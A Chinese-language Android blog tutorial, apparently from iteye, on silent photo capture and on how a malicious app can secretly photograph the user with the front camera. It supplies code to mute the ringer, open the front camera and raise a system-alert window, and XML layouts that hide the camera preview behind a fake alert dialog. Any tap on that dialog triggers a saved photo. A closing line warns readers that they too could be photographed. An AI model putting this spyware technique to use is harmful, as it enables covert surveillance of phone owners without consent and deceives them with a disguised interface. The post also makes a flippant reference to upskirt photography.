導讀:
本文介紹了所謂的靜音拍照是如何實現的(當然這也是一種惡意軟件,只不過受害的不是用戶),和用戶自己如何被惡意軟件拍照的
由於iteye不允許偷和拍放到一起,所以……靜音拍照,大家懂的,靜音拍照?不就是……
今天的主題是靜音拍照與被拍
當然,這裏的“被拍”不是指你拿着手機在地鐵上深入女同學裙下的女同學(貌似日本人喜歡幹這種事情,自行百度其新聞)
這裏指的被拍是:你玩着玩着遊戲,突然前置攝像頭被惡意應用打開,然後咔嚓,然後……
想要實現這些功能,很遺憾,即是沒有root權限也可以
下面我們來說正題
首先說靜音拍照
其實也就是說靜音拍照嘛,怎麼實現?當然是先靜音再拍照了……最後記得恢復靜音前的狀態即可。
有的手機直接調解照相快門音量即可,但是沒有通用的api,似乎這種手機也很少(第三方的rom可能會有)
另一個辦法就是把手機調成靜音模式,然後拍照。不過也不是理想的,有些手機雖然調成了靜音模式,但是快門不靜音,就像鬧鐘不靜音一樣。
還有一些其他的靜音方式,這裏就不說了。如何把手機調成靜音?這個沒什麼技術含量,大家可自行百度。。。
- mAudioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
當然,你最好先記錄下用戶之前的模式
- int ringerMode = mAudioManager.getRingerMode();
這樣部分手機的靜音拍照就搞定了,比如我使用的g14(android 2.3)就可以達到靜音的目的了(所以說htc手機操蛋,現在及其反感htc)
下面說一下被拍
被拍呢,我會選擇前置攝像頭,玩手機的時候一般人不看手機屁股,因爲htc嘛
首先說一下android的攝像頭
前置攝像頭的通用api是在2.3纔開始有的,2.2及之前都需要靠反射調用,不過那時有前置攝像頭的android手機也很少
這裏我們以2.3爲基礎作爲演示
步驟:
0.僞裝
1.打開前置攝像頭
2.靜音+拍照+退出
3.保存
首先來看看如何調用前置攝像頭(當然,你得有前置攝像頭才行)
- mCamera = openCamera(CameraInfo.CAMERA_FACING_FRONT);
- public static Camera openCamera(int which) {
- return Camera.open(which);
- }
如果沒Camera不爲null,那麼就是成功了
最關鍵的是僞裝,android系統中,調用攝像頭必須要有預覽畫面才行,當然,這也是爲了安全
所以拍照時必須有一個窗口,也就是你玩着玩着遊戲的時候,突然彈出個窗口給你拍個大頭貼
用戶看到預覽畫面了,那傻子都知道他被人黑了,所以病毒不能這麼傻,它會給自己穿件外套
我做了一件粗糙的外套來給大家演示
當然這個外套比較爛,真正的病毒會做一個很精緻,並且比較常見的外套(這樣成功率纔會高,如果用戶手機根本沒有股票軟件,而我卻彈出這麼一個對話框,用戶再傻也會知道自己中毒了)
下面的操作,無論用戶點擊確定、取消還是back鍵,病毒都會拍一張照片然後保存,然後……
camera.xml對應的代碼
- <?xml version="1.0" encoding="utf-8"?>
- <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical"
- android:layout_width="300dp"
- android:layout_height="150dp"
- android:background="@color/canvas_background">
- <LinearLayout
- android:layout_width="wrap_content"
- android:layout_height="wrap_content">
- <SurfaceView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:id="@+id/alert_camera"/>
- </LinearLayout>
- <include layout="@layout/fake"/>
- </FrameLayout>
fake.xml對應的代碼
- <?xml version="1.0" encoding="utf-8"?>
- <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:orientation="vertical">
- <!-- title -->
- <LinearLayout
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:layout_weight="1"
- android:layout_gravity="center_vertical"
- android:background="@color/canvas_background">
- <ImageView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_margin="10dp"
- android:src="@drawable/ic_dialog_alert"/>
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_marginTop="10dp"
- android:layout_marginBottom="10dp"
- android:id="@+id/alert_title"
- android:text="@string/alert_title"
- android:textSize="22sp">
- </TextView>
- </LinearLayout>
- <!-- line -->
- <!-- message -->
- <LinearLayout
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:layout_weight="1"
- android:layout_gravity="center_vertical"
- android:background="@color/canvas_background">
- <TextView
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_margin="10dp"
- android:id="@+id/alert_message"
- android:text="@string/alert_message"
- android:textSize="18sp">
- </TextView>
- </LinearLayout>
- <!-- line -->
- <!-- button -->
- <LinearLayout
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:orientation="horizontal"
- android:layout_weight="1"
- android:background="@color/button_background">
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_weight="1"
- android:id="@+id/alert_ok"
- android:text="@string/alert_ok"/>
- <Button
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_weight="1"
- android:id="@+id/alert_cancel"
- android:text="@string/alert_cancel"/>
- </LinearLayout>
- </LinearLayout>
ic_dialog_alert.png就是上圖顯示的歎號,在frameworks/base/core/res下面就有,複製出來一個就行
上面只是佈局代碼,我們的activity也需要做一些設置,比如在manifest裏要設置主題爲
- android:theme="@android:style/Theme.Dialog"
在onCreate裏面要設置下面這些屬性,我就不一一解釋了
- requestWindowFeature(Window.FEATURE_NO_TITLE);
- Window window = getWindow();
- window.setFormat(PixelFormat.TRANSLUCENT);
- window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT);
- window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
- WindowManager.LayoutParams.FLAG_FULLSCREEN);
- setContentView(R.layout.camera);
到這裏,關鍵的地方就都完成了
manifest中還需要配置一些權限
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
- <uses-permission android:name="android.permission.CAMERA" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
正常的拍照流程代碼網上很多,我也不貼了,最後附上的colors.xml文件吧
- <resources>
- <color name="button_background">#ffffff</color>
- <color name="canvas_background">#ffffffcc</color>
- </resources>
當然,你想靜音拍照別人,沒準你也被別人靜音拍照了,自重